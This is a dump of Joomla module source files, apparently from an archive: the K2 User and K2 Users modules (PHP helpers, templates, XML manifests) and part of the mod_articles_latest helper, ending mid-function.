                        } else {
                            $item->url = $item->link;
                        }
                        break;
                    default:
                        $router = JSite::getRouter();
                        $item->url = $router->getMode() == JROUTER_MODE_SEF ? 'index.php?Itemid='.$item->id : $item->link.'&Itemid='.$item->id;
                        break;
                }
                $iParams = class_exists('JParameter') ? new JParameter($item->params) : new JRegistry($item->params);
                $iSecure = $iParams->def('secure', 0);
                if ($item->home == 1) {
                    $item->url = JURI::base();
                } elseif (strcasecmp(substr($item->url, 0, 4), 'http') && (strpos($item->link, 'index.php?') !== false)) {
                    $item->url = JRoute::_($item->url, true, $iSecure);
                } else {
                    $item->url = str_replace('&', '&amp;', $item->url);
                }
                $item->route = $item->url;
            } else {
                $item->flink = $item->link;
                switch ($item->type) {
                    case 'separator':
                        continue;
                    case 'url':
                        if ((strpos($item->link, 'index.php?') === 0) && (strpos($item->link, 'Itemid=') === false)) {
                            $item->flink = $item->link.'&Itemid='.$item->id;
                        }
                        break;
                    case 'alias':
                        $item->flink = 'index.php?Itemid='.$item->params->get('aliasoptions');
                        break;
                    default:
                        $router = JSite::getRouter();
                        if ($router->getMode() == JROUTER_MODE_SEF) {
                            $item->flink = 'index.php?Itemid='.$item->id;
                        } else {
                            $item->flink .= '&Itemid='.$item->id;
                        }
                        break;
                }
                if (strcasecmp(substr($item->flink, 0, 4), 'http') && (strpos($item->flink, 'index.php?') !== false)) {
                    $item->flink = JRoute::_($item->flink, true, $item->params->get('secure'));
                } else {
                    $item->flink = JRoute::_($item->flink);
                }
                $item->route = $item->flink;
            }
            $links[] = $item;
        }
        return $links;
    }
}
PK!�l�ֻ�mod_k2_user/mod_k2_user.phpnu&1i�<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

if (K2_JVERSION != '15') {
    $language = JFactory::getLanguage();
    $language->load('com_k2.dates', JPATH_ADMINISTRATOR, null, true);
    require_once JPATH_SITE.'/components/com_users/helpers/route.php';
}

require_once(dirname(__FILE__).'/helper.php');

$moduleclass_sfx = $params->get('moduleclass_sfx', '');
$userGreetingText = $params->get('userGreetingText', '');
$userAvatarWidthSelect = $params->get('userAvatarWidthSelect', 'custom');
$userAvatarWidth = $params->get('userAvatarWidth', 50);

// Legacy params
$greeting = 0;

$type = modK2UserHelper::getType();
$return = modK2UserHelper::getReturnURL($params, $type);
$user = JFactory::getUser();

$componentParams = JComponentHelper::getParams('com_k2');
$K2CommentsEnabled = $componentParams->get('comments');

// User avatar
if ($userAvatarWidthSelect == 'inherit') {
    $avatarWidth = $componentParams->get('userImageWidth');
} else {
    $avatarWidth = $userAvatarWidth;
}

// Load the right template
if ($user->guest) {
    // OpenID stuff (do not edit)
    if (JPluginHelper::isEnabled('authentication', 'openid')) {
        $lang->load('plg_authentication_openid', JPATH_ADMINISTRATOR);
        $document = JFactory::getDocument();
        $document->addScriptDeclaration("
			var JLanguage = {};
			JLanguage.WHAT_IS_OPENID = '".JText::_('K2_WHAT_IS_OPENID')."';
			JLanguage.LOGIN_WITH_OPENID = '".JText::_('K2_LOGIN_WITH_OPENID')."';
			JLanguage.NORMAL_LOGIN = '".JText::_('K2_NORMAL_LOGIN')."';
			var modlogin = 1;
		");
        JHTML::_('script', 'openid.js');
    }

    // Get user stuff (do not edit)
    $usersConfig = JComponentHelper::getParams('com_users');

    // Define some variables depending on Joomla version
    $passwordFieldName = K2_JVERSION != '15' ? 'password' : 'passwd';
    $resetLink = JRoute::_((K2_JVERSION != '15') ? 'index.php?option=com_users&view=reset&Itemid='.UsersHelperRoute::getResetRoute() : 'index.php?option=com_user&view=reset');
    $remindLink = JRoute::_((K2_JVERSION != '15') ? 'index.php?option=com_users&view=remind&Itemid='.UsersHelperRoute::getRemindRoute() : 'index.php?option=com_user&view=remind');
    $registrationLink = JRoute::_((K2_JVERSION != '15') ? 'index.php?option=com_users&view=registration&Itemid='.UsersHelperRoute::getRegistrationRoute() : 'index.php?option=com_user&view=register');

    $option = K2_JVERSION != '15' ? 'com_users' : 'com_user';
    $task = K2_JVERSION != '15' ? 'user.login' : 'login';

    require(JModuleHelper::getLayoutPath('mod_k2_user', 'login'));
} else {
    $user->profile = modK2UserHelper::getProfile($params);
    $user->numOfComments = modK2UserHelper::countUserComments($user->id);
    $menu = modK2UserHelper::getMenu($params);

    if (is_object($user->profile) && isset($user->profile->addLink)) {
        $addItemLink = $user->profile->addLink;
    }
    $viewProfileLink = JRoute::_(K2HelperRoute::getUserRoute($user->id));
    $editProfileLink = JRoute::_((K2_JVERSION != '15') ? 'index.php?option=com_users&view=profile&layout=edit&Itemid='.UsersHelperRoute::getProfileRoute() : 'index.php?option=com_user&view=user&task=edit');
    $profileLink = $editProfileLink; // B/C
    $editCommentsLink = JRoute::_('index.php?option=com_k2&view=comments&tmpl=component&context=modalselector');

    $option = K2_JVERSION != '15' ? 'com_users' : 'com_user';
    $task = K2_JVERSION != '15' ? 'user.logout' : 'logout';

    require(JModuleHelper::getLayoutPath('mod_k2_user', 'userblock'));
}
PK!:��>��mod_k2_user/mod_k2_user.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" client="site" version="2.5" method="upgrade">
    <name>K2 User</name>
    <author>JoomlaWorks</author>
    <creationDate>September 21st, 2018</creationDate>
    <copyright>Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.</copyright>
    <authorEmail>please-use-the-contact-form@joomlaworks.net</authorEmail>
    <authorUrl>www.joomlaworks.net</authorUrl>
    <version>2.9.0</version>
    <license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
    <description>K2_MOD_K2_USER_DESCRIPTION</description>
    <files>
        <filename module="mod_k2_user">mod_k2_user.php</filename>
        <filename>helper.php</filename>
        <folder>tmpl</folder>
    </files>
    <config>
        <fields name="params">
            <fieldset name="basic" addfieldpath="/administrator/components/com_k2/elements/">
                <field name="moduleclass_sfx" type="text" default="" label="K2_MODULE_CLASS_SUFFIX" description="K2_MODULE_CLASS_SUFFIX_DESCRIPTION" />
                <field name="pretext" type="textarea" cols="30" rows="5" default="" label="K2_PRETEXT" description="" />
                <field name="posttext" type="textarea" cols="30" rows="5" label="K2_POSTTEXT" description="" />
                <field name="" type="header" default="K2_OPTIONS_FOR_LOGGED_IN_USERS" label="" description="" />
                <field name="userGreetingText" type="textarea" cols="30" rows="5" label="K2_GREETING_TEXT" description="K2_WRITE_A_CUSTOM_TEXT_TO_DISPLAY_TO_YOUR_USERS_WHEN_THEY_ARE_LOGGED_IN" />
                <field name="name" type="list" default="1" label="K2_DISPLAY_USERNAME_OR_NAME" description="">
                    <option value="0">K2_USERNAME</option>
                    <option value="1">K2_NAME</option>
                </field>
                <field name="userAvatar" type="radio" default="1" label="K2_USER_AVATAR" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="userAvatarWidthSelect" type="list" default="custom" label="K2_USER_AVATAR_WIDTH" description="">
                    <option value="inherit">K2_INHERIT_FROM_COMPONENT_PARAMETERS</option>
                    <option value="custom">K2_USE_CUSTOM_WIDTH</option>
                </field>
                <field name="userAvatarWidth" type="text" default="50" size="4" label="K2_CUSTOM_WIDTH_FOR_USER_AVATAR_IN_PX" description="" />
                <field name="" type="header" default="K2_MENU_RENDER_OPTION" label="" description="" />
                <field name="menu" type="menus" default="" label="K2_MENU_TO_RENDER" description="K2_MENU_TO_RENDER_DESC" />
                <field name="" type="header" default="K2_LOGIN_LOGOUT_REDIRECTION" label="" description="" />
                <field name="login" type="menuitem" default="" disable="separator" label="K2_LOGIN_REDIRECTION_URL" description="K2_LOGIN_REDIRECTION_URL_DESCRIPTION">
                	<option value="">K2_NONE_ONSELECTLISTS</option>
                </field>
                <field name="logout" type="menuitem" default="" disable="separator" label="K2_LOGOUT_REDIRECTION_URL" description="K2_LOGOUT_REDIRECTION_URL_DESCRIPTION">
                	<option value="">K2_NONE_ONSELECTLISTS</option>
                </field>
                <field name="usesecure" type="radio" default="0" label="K2_ENCRYPT_LOGIN_FORM" description="K2_SUBMIT_ENCRYPTED_LOGIN_DATA_REQUIRES_SSL" class="btn-group btn-group-yesno">
                    <option value="0">K2_NO</option>
                    <option value="1">K2_YES</option>
                </field>
            </fieldset>
            <fieldset name="advanced">
                <field name="cache" type="list" default="0" label="K2_CACHING" description="K2_SELECT_WHETHER_TO_CACHE_THE_CONTENT_OF_THIS_MODULE">
                    <option value="1">K2_USE_GLOBAL</option>
                    <option value="0">K2_NO_CACHING</option>
                </field>
                <field name="cache_time" type="text" default="900" label="K2_CACHE_TIME" description="K2_THE_TIME_IN_SECONDS_BEFORE_THE_MODULE_IS_RECACHED" />
            </fieldset>
        </fields>
    </config>
</extension>
PK!I���
�
%mod_k2_users/tmpl/Default/default.phpnu&1i�<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

?>

<div id="k2ModuleBox<?php echo $module->id; ?>" class="k2UsersBlock<?php if ($params->get('moduleclass_sfx')) echo ' '.$params->get('moduleclass_sfx'); ?>">
    <ul>
        <?php foreach($users as $key=>$user): ?>
        <li class="<?php echo ($key%2) ? "odd" : "even"; if (count($users)==$key+1) echo ' lastItem'; ?>">
            <?php if ($userAvatar && !empty($user->avatar)): ?>
            <a class="k2Avatar ubUserAvatar" rel="author" href="<?php echo $user->link; ?>" title="<?php echo K2HelperUtilities::cleanHtml($user->name); ?>">
                <img src="<?php echo $user->avatar; ?>" alt="<?php echo K2HelperUtilities::cleanHtml($user->name); ?>" style="width:<?php echo $avatarWidth; ?>px;height:auto;" />
            </a>
            <?php endif; ?>

            <?php if ($userName): ?>
            <a class="ubUserName" rel="author" href="<?php echo $user->link; ?>" title="<?php echo K2HelperUtilities::cleanHtml($user->name); ?>">
                <?php echo $user->name; ?>
            </a>
            <?php endif; ?>

            <?php if ($userDescription && $user->description): ?>
            <div class="ubUserDescription">
                <?php if ($userDescriptionWordLimit): ?>
                <?php echo K2HelperUtilities::wordLimit($user->description, $userDescriptionWordLimit) ?>
                <?php else: ?>
                <?php echo $user->description; ?>
                <?php endif; ?>
            </div>
            <?php endif; ?>

            <?php if ($userFeed || ($userURL && $user->url) || $userEmail): ?>
            <div class="ubUserAdditionalInfo">
                <?php if ($userFeed): ?>
                <!-- RSS feed icon -->
                <a class="ubUserFeedIcon" href="<?php echo $user->feed; ?>" title="<?php echo JText::_('K2_SUBSCRIBE_TO_THIS_USERS_RSS_FEED'); ?>">
                    <span><?php echo JText::_('K2_SUBSCRIBE_TO_THIS_USERS_RSS_FEED'); ?></span>
                </a>
                <?php endif; ?>

                <?php if ($userURL && $user->url): ?>
                <a class="ubUserURL" rel="me" href="<?php echo $user->url; ?>" title="<?php echo JText::_('K2_WEBSITE'); ?>" target="_blank">
                    <span><?php echo JText::_('K2_WEBSITE'); ?></span>
                </a>
                <?php endif; ?>

                <?php if ($userEmail): ?>
                <span class="ubUserEmail" title="<?php echo JText::_('K2_EMAIL'); ?>">
                    <?php echo JHTML::_('Email.cloak', $user->email); ?>
                </span>
                <?php endif; ?>
            </div>
            <?php endif; ?>

            <?php if ($userItemCount && count($user->items)): ?>
            <h3><?php echo JText::_('K2_RECENT_ITEMS'); ?></h3>
            <ul class="ubUserItems">
                <?php foreach ($user->items as $item): ?>
                <li>
                    <a href="<?php echo $item->link; ?>" title="<?php echo K2HelperUtilities::cleanHtml($item->title); ?>">
                        <?php echo $item->title; ?>
                    </a>
                </li>
                <?php endforeach; ?>
            </ul>
            <?php endif; ?>

            <div class="clr"></div>
        </li>
        <?php endforeach; ?>
    </ul>
</div>
PK!��-�-mod_k2_users/helper.phpnu&1i�<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

require_once(JPATH_SITE.'/components/com_k2/helpers/route.php');
require_once(JPATH_SITE.'/components/com_k2/helpers/utilities.php');

class modK2UsersHelper
{
    public static function getUsers(&$params)
    {
        $app = JFactory::getApplication();
        $db = JFactory::getDbo();

        $jnow = JFactory::getDate();
        $now = (K2_JVERSION != '15') ? $jnow->toSql() : $jnow->toMySQL();
        $nullDate = $db->getNullDate();

        // Get ACL
        $user = JFactory::getUser();
        if (K2_JVERSION != '15') {
            $userLevels = array_unique($user->getAuthorisedViewLevels());
            $aclCheck = 'IN('.implode(',', $userLevels).')';
        } else {
            $aid = $user->get('aid');
            $aclCheck = '<= '.$user->get('aid');
        }

        // Get language on Joomla 2.5+
        $languageFilter = '';
        if (K2_JVERSION != '15') {
            if ($app->getLanguageFilter()) {
                $languageTag = JFactory::getLanguage()->getTag();
                $languageFilter = $db->Quote($languageTag).", ".$db->Quote('*');
            }
        }

        $userObjects = array();

        if ($params->get('source') == 'specific' && $params->get('userIDs')) {
            $IDs = array();
            if (is_string($params->get('userIDs'))) {
                $IDs[] = $params->get('userIDs');
            } else {
                $IDs = $params->get('userIDs');
            }

            $query = "SELECT users.name, users.email, users.id AS UID, profiles.*
                FROM #__users AS users
                LEFT JOIN #__k2_users AS profiles ON users.id=profiles.userID
                WHERE users.block=0 AND users.id IN (".implode(',', $IDs).")";

            $db->setQuery($query);
            $userObjects = $db->loadObjectList();

            $newUserObjects = array();
            foreach ($IDs as $id) {
                foreach ($userObjects as $uO) {
                    if ($uO->UID == $id) {
                        $newUserObjects[] = $uO;
                        break;
                    }
                }
            }
            $userObjects = $newUserObjects;
        } else {
            switch ($params->get('filter', 0)) {

                // By K2 user group
                case 0:
                    $query = "SELECT users.name, users.email, users.id AS UID, profiles.*";

                    if ($params->get('ordering') == 'recent') {
                        $query .= ", MAX(i.created) AS counter";
                    }

                    $query .= " FROM #__users AS users
                        LEFT JOIN #__k2_users AS profiles ON users.id=profiles.userID";

                    if ($params->get('ordering') == 'recent') {
                        $query .= " LEFT JOIN #__k2_items AS i ON users.id=i.created_by LEFT JOIN #__k2_categories AS c ON i.catid=c.id";
                    }

                    $query .= " WHERE users.block=0 AND profiles.`group`=".(int)$params->get('K2UserGroup');

                    if ($params->get('ordering') == 'recent') {
                        $query .= " AND i.published = 1
                            AND i.trash = 0
                            AND i.access {$aclCheck}
                            AND (i.publish_up = ".$db->Quote($nullDate)." OR i.publish_up <= ".$db->Quote($now).")
                            AND (i.publish_down = ".$db->Quote($nullDate)." OR i.publish_down >= ".$db->Quote($now).")
                            AND i.created_by_alias=''
                            AND c.published = 1
                            AND c.trash = 0
                            AND c.access {$aclCheck}";

                        if ($languageFilter) {
                            $query .= " AND i.language IN ({$languageFilter}) AND c.language IN ({$languageFilter})";
                        }
                    }

                    switch ($params->get('ordering')) {
                        case 'alpha':
                            $orderby = "users.name";
                            break;
                        case 'recent':
                            $orderby = "counter DESC";
                            break;
                        case 'random':
                            $orderby = "RAND()";
                            break;
                    }

                    $query .= " GROUP BY users.id ORDER BY {$orderby}";
                    break;

                // With most items
                case 1:
                    $query = "SELECT users.name, users.email, users.id AS UID, profiles.*, COUNT(i.id) AS counter
                        FROM #__users AS users
                        LEFT JOIN #__k2_users AS profiles ON users.id=profiles.userID
                        LEFT JOIN #__k2_items AS i ON users.id=i.created_by
                        LEFT JOIN #__k2_categories AS c ON i.catid=c.id
                        WHERE users.block=0
                            AND i.published = 1
                            AND i.trash = 0
                            AND i.access {$aclCheck}
                            AND (i.publish_up = ".$db->Quote($nullDate)." OR i.publish_up <= ".$db->Quote($now).")
                            AND (i.publish_down = ".$db->Quote($nullDate)." OR i.publish_down >= ".$db->Quote($now).")
                            AND i.created_by_alias=''
                            AND c.published = 1
                            AND c.trash = 0
                            AND c.access {$aclCheck}";

                    if ($languageFilter) {
                        $query .= " AND i.language IN ({$languageFilter}) AND c.language IN ({$languageFilter})";
                    }

                    $query .= " GROUP BY users.id ORDER BY counter DESC";
                    break;

                // With most popular items
                case 2:
                    $query = "SELECT users.name, users.email, users.id AS UID, profiles.*, MAX(i.hits) AS counter
                        FROM #__users AS users
                        LEFT JOIN #__k2_users AS profiles ON users.id=profiles.userID
                        LEFT JOIN #__k2_items AS i ON users.id=i.created_by
                        LEFT JOIN #__k2_categories AS c ON i.catid=c.id
                        WHERE users.block=0
                            AND i.published = 1
                            AND i.trash = 0
                            AND i.access {$aclCheck}
                            AND (i.publish_up = ".$db->Quote($nullDate)." OR i.publish_up <= ".$db->Quote($now).")
                            AND (i.publish_down = ".$db->Quote($nullDate)." OR i.publish_down >= ".$db->Quote($now).")
                            AND i.created_by_alias=''
                            AND c.published = 1
                            AND c.trash = 0
                            AND c.access {$aclCheck}";

                    if ($languageFilter) {
                        $query .= " AND i.language IN ({$languageFilter}) AND c.language IN ({$languageFilter})";
                    }

                    $query .= " GROUP BY users.id ORDER BY counter DESC";
                    break;

                // With most commented items
                case 3:
                    $query = "SELECT users.name, users.email, users.id AS UID, profiles.*, COUNT(comment.id) AS counter
                        FROM #__users AS users
                        LEFT JOIN #__k2_users AS profiles ON users.id=profiles.userID
                        LEFT JOIN #__k2_items AS i ON users.id=i.created_by
                        LEFT JOIN #__k2_categories AS c ON i.catid=c.id
                        LEFT JOIN #__k2_comments AS comment ON i.id=comment.itemID
                        WHERE users.block=0
                            AND i.published = 1
                            AND i.trash = 0
                            AND i.access {$aclCheck}
                            AND (i.publish_up = ".$db->Quote($nullDate)." OR i.publish_up <= ".$db->Quote($now).")
                            AND (i.publish_down = ".$db->Quote($nullDate)." OR i.publish_down >= ".$db->Quote($now).")
                            AND i.created_by_alias=''
                            AND c.published = 1
                            AND c.trash = 0
                            AND c.access {$aclCheck}";

                    if ($languageFilter) {
                        $query .= " AND i.language IN ({$languageFilter}) AND c.language IN ({$languageFilter})";
                    }

                    $query .= " GROUP BY users.id ORDER BY counter DESC";
                    break;
            }

            $db->setQuery($query, 0, $params->get('limit', 4));
            $userObjects = $db->loadObjectList();
        }

        // Render the query results
        if (count($userObjects)) {
            foreach ($userObjects as $userObject) {
                $userObject->avatar = K2HelperUtilities::getAvatar($userObject->UID, $userObject->email, $params->get('userImageWidth'));
                $userObject->link = JRoute::_(K2HelperRoute::getUserRoute($userObject->UID));
                $userObject->feed = JRoute::_(K2HelperRoute::getUserRoute($userObject->UID).'&format=feed');
                $userObject->url = htmlspecialchars($userObject->url, ENT_QUOTES, 'UTF-8');

                if ($params->get('userItemCount')) {
                    $query = "SELECT i.*, c.name AS categoryname, c.id AS categoryid, c.alias AS categoryalias, c.params AS categoryparams
                        FROM #__k2_items AS i
                        LEFT JOIN #__k2_categories AS c ON c.id = i.catid
                        WHERE i.published = 1
                            AND i.trash = 0
                            AND i.access {$aclCheck}
                            AND (i.publish_up = ".$db->Quote($nullDate)." OR i.publish_up <= ".$db->Quote($now).")
                            AND (i.publish_down = ".$db->Quote($nullDate)." OR i.publish_down >= ".$db->Quote($now).")
                            AND i.created_by=".(int)$userObject->UID."
                            AND i.created_by_alias=''
                            AND c.published = 1
                            AND c.trash = 0
                            AND c.access {$aclCheck}";

                    if ($languageFilter) {
                        $query .= " AND i.language IN ({$languageFilter}) AND c.language IN ({$languageFilter})";
                    }

                    $query .= " GROUP BY i.id ORDER BY i.created DESC";

                    $db->setQuery($query, 0, $params->get('userItemCount'));
                    $userObject->items = $db->loadObjectList();

                    if (count($userObject->items)) {
                        foreach ($userObject->items as $item) {
                            $link = K2HelperRoute::getItemRoute($item->id.':'.urlencode($item->alias), $item->catid.':'.urlencode($item->categoryalias));
                            $item->link = urldecode(JRoute::_($link));
                            $item->categoryLink = urldecode(JRoute::_(K2HelperRoute::getCategoryRoute($item->catid.':'.urlencode($item->categoryalias))));
                        }
                    }
                } else {
                    $userObject->items = null;
                }
            }
        }
        return $userObjects;
    }
}
PK!��.���mod_k2_users/mod_k2_users.phpnu&1i�<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

if (K2_JVERSION != '15') {
    $language = JFactory::getLanguage();
    $language->load('com_k2.dates', JPATH_ADMINISTRATOR, null, true);
}

require_once(dirname(__FILE__).'/helper.php');

// Params
$moduleclass_sfx = $params->get('moduleclass_sfx', '');
$getTemplate = $params->get('getTemplate', 'Default');
$userName = $params->get('userName', 1);
$userAvatar = $params->get('userAvatar', 1);
$userAvatarWidthSelect = $params->get('userAvatarWidthSelect', 'custom');
$userAvatarWidth = $params->get('userAvatarWidth', 50);
$userDescription = $params->get('userDescription', 1);
$userDescriptionWordLimit = $params->get('userDescriptionWordLimit');
$userURL = $params->get('userURL', 1);
$userEmail = $params->get('userEmail', 0);
$userFeed = $params->get('userFeed', 1);
$userItemCount = $params->get('userItemCount', 1);

// User avatar
if ($userAvatarWidthSelect == 'inherit') {
    $componentParams = JComponentHelper::getParams('com_k2');
    $avatarWidth = $componentParams->get('userImageWidth');
} else {
    $avatarWidth = $userAvatarWidth;
}

$users = modK2UsersHelper::getUsers($params);

require(JModuleHelper::getLayoutPath('mod_k2_users', $getTemplate.'/default'));
PK!I
l��mod_k2_users/mod_k2_users.xmlnu&1i�<?xml version="1.0" encoding="UTF-8"?>
<extension type="module" client="site" version="2.5" method="upgrade">
    <name>K2 Users</name>
    <author>JoomlaWorks</author>
    <creationDate>September 21st, 2018</creationDate>
    <copyright>Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.</copyright>
    <authorEmail>please-use-the-contact-form@joomlaworks.net</authorEmail>
    <authorUrl>www.joomlaworks.net</authorUrl>
    <version>2.9.0</version>
    <license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
    <description>K2_MOD_K2_USERS_DESCRTIPTION</description>
    <files>
        <filename module="mod_k2_users">mod_k2_users.php</filename>
        <filename>helper.php</filename>
        <folder>tmpl</folder>
    </files>
    <config>
        <fields name="params">
            <fieldset name="basic" addfieldpath="/administrator/components/com_k2/elements/">
                <field name="moduleclass_sfx" type="text" default="" label="K2_MODULE_CLASS_SUFFIX" description="K2_MODULE_CLASS_SUFFIX_DESCRIPTION"/>
                <field name="getTemplate" type="moduletemplate" modulename="mod_k2_users" default="Default" label="K2_SELECT_SUBTEMPLATE" description="This module utilizes on-the-fly MVC template overrides. What this means is that you can create a new sub-template folder for this module within your Joomla template's /html/mod_k2_users/ folder. The module will then pickup the new sub-template auto-magically, without you editing any XML file or doing any other non-designer work!"/>
                <field name="source" type="list" default="0" label="K2_SOURCE" description="">
                    <option value="filter">K2_RETRIEVE_USERS_USING_FILTERS</option>
                    <option value="specific">K2_RETRIEVE_SPECIFIC_USERS</option>
                </field>
                <field name="" type="header" default="K2_RETRIEVE_USERS_USING_FILTERS" label="" description=""/>
                <field name="filter" type="list" default="1" label="K2_FETCH_USERS" description="">
                    <option value="0">K2_BY_K2_USER_GROUP</option>
                    <option value="1">K2_WITH_MOST_ITEMS</option>
                    <option value="2">K2_WITH_MOST_POPULAR_ITEMS</option>
                    <option value="3">K2_WITH_MOST_COMMENTED_ITEMS</option>
                </field>
                <field name="K2UserGroup" type="sql" default="" label="K2_SELECT_A_K2_USER_GROUP" query="SELECT id AS value, name AS K2UserGroup FROM #__k2_user_groups"/>
                <field name="ordering" type="list" default="1" label="K2_ORDERING" description="">
                    <option value="alpha">K2_ALPHABETICAL</option>
                    <option value="recent">K2_MOST_RECENT_ITEM</option>
                    <option value="random">K2_RANDOM</option>
                </field>
                <field name="limit" type="text" default="4" size="4" label="K2_LIMIT" description=""/>
                <field name="" type="header" default="K2_RETRIEVE_SPECIFIC_USERS" label="" description=""/>
                <field name="userIDs" type="k2modalselector" scope="users" default="" label="K2_SELECTED_USERS_SORT_WITH_DRAG_DROP" description="K2_DRAG_USERS_ONE_BY_ONE_TO_REORDER_THE_LIST_CLICK_THE_REMOVE_ICON_TO_REMOVE_A_USER_FROM_THE_LIST"/>
                <field name="" type="header" default="K2_DISPLAY_OPTIONS" label="" description=""/>
                <field name="userName" type="radio" default="1" label="K2_NAME" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="userAvatar" type="radio" default="1" label="K2_USER_AVATAR" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="userAvatarWidthSelect" type="list" default="custom" label="K2_USER_AVATAR_WIDTH" description="">
                    <option value="inherit">K2_INHERIT_FROM_COMPONENT_PARAMETERS</option>
                    <option value="custom">K2_USE_CUSTOM_WIDTH</option>
                </field>
                <field name="userAvatarWidth" type="text" default="50" size="4" label="K2_CUSTOM_WIDTH_FOR_USER_AVATAR_IN_PX" description=""/>
                <field name="userDescription" type="radio" default="1" label="K2_USER_DESCRIPTION" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="userDescriptionWordLimit" type="text" default="" size="4" label="K2_WORD_LIMIT_FOR_USER_DESCRIPTION" description=""/>
                <field name="userURL" type="radio" default="1" label="K2_URL" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="userEmail" type="radio" default="0" label="K2_EMAIL" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="userFeed" type="radio" default="1" label="K2_RSS_FEED_ICON" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="userItemCount" type="text" default="1" size="4" label="K2_ITEM_COUNT" description=""/>
            </fieldset>
            <fieldset name="advanced">
                <field name="cache" type="list" default="1" label="K2_CACHING" description="K2_SELECT_WHETHER_TO_CACHE_THE_CONTENT_OF_THIS_MODULE">
                    <option value="1">K2_USE_GLOBAL</option>
                    <option value="0">K2_NO_CACHING</option>
                </field>
                <field name="cache_time" type="text" default="900" label="K2_CACHE_TIME" description="K2_THE_TIME_IN_SECONDS_BEFORE_THE_MODULE_IS_RECACHED"/>
            </fieldset>
        </fields>
    </config>
</extension>
PK!��~~7mod_articles_latest/src/Helper/ArticlesLatestHelper.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_latest
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\ArticlesLatest\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Access\Access;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Router\Route;
use Joomla\Component\Content\Site\Helper\RouteHelper;
use Joomla\Component\Content\Site\Model\ArticlesModel;
use Joomla\Registry\Registry;
use Joomla\Utilities\ArrayHelper;

/**
 * Helper for mod_articles_latest
 *
 * @since  1.6
 */
abstract class ArticlesLatestHelper
{
	/**
	 * Retrieve a list of article
	 *
	 * @param   Registry       $params  The module parameters.
	 * @param   ArticlesModel  $model   The model.
	 *
	 * @return  mixed
	 *
	 * @since   1.6
	 */
	public static function getList(Registry $params, ArticlesModel $model)
	{
		// Get the Dbo and User object
		$db   = Factory::getDbo();
		$user = Factory::getUser();

		// Set application parameters in model
		$app       = Factory::getApplication();
		$appParams = $app->getParams();
		$model->setState('params', $appParams);

		$model->setState('list.start', 0);
		$model->setState('filter.published', 1);

		// Set the filters based on the module params
		$model->setState('list.limit', (int) $params->get('count', 5));

		// This module does not use tags data
		$model->setState('load_tags', false);

		// Access filter
		$access     = !ComponentHelper::getParams('com_content')->get('show_noauth');
		$authorised = Access::getAuthorisedViewLevels($user->get('id'));
		$model->setState('filter.access', $access);

		// Category filter
		$model->setState('filter.category_id', $params->get('catid', array()));

		// State filter
		$model->setState('filter.condition', 1);

		// User filter
		$userId = $user->get('id');

		switch ($params->get('user_id'))
		{
			case 'by_me':
				$model->setState('filter.author_id', (int) $userId);
				break;
			case 'not_me':
				$model->setState('filter.author_id', $userId);
				$model->setState('filter.author_id.include', false);
				break;

			case 'created_by':
				$model->setState('filter.author_id', $params->get('author', array()));
				break;

			case '0':
				break;

			default:
				$model->setState('filter.author_id', (int) $params->get('user_id'));
				break;
		}

		// Filter by language
		$model->setState('filter.language', $app->getLanguageFilter());

		// Featured switch
		$featured = $params->get('show_featured', '');

		if ($featured === '')
		{
			$model->setState('filter.featured', 'show');
		}
		elseif ($featured)
		{
			$model->setState('filter.featured', 'only');
		}
		else
		{
			$model->setState('filter.featured', 'hide');
		}

		// Set ordering
		$order_map = array(
			'm_dsc'  => 'a.modified DESC, a.created',
			'mc_dsc' => 'a.modified',
			'c_dsc'  => 'a.created',
			'p_dsc'  => 'a.publish_up',
			'random' => $db->getQuery(true)->rand(),
		);

		$ordering = ArrayHelper::getValue($order_map, $params->get('ordering'), 'a.publish_up');
		$dir      = 'DESC';

		$model->setState('list.ordering', $ordering);
		$model->setState('list.direction', $dir);

		$items = $model->getItems();

		foreach ($items as &$item)
		{
			$item->slug    = $item->id . ':' . $item->alias;

			if ($access || \in_array($item->access, $authorised))
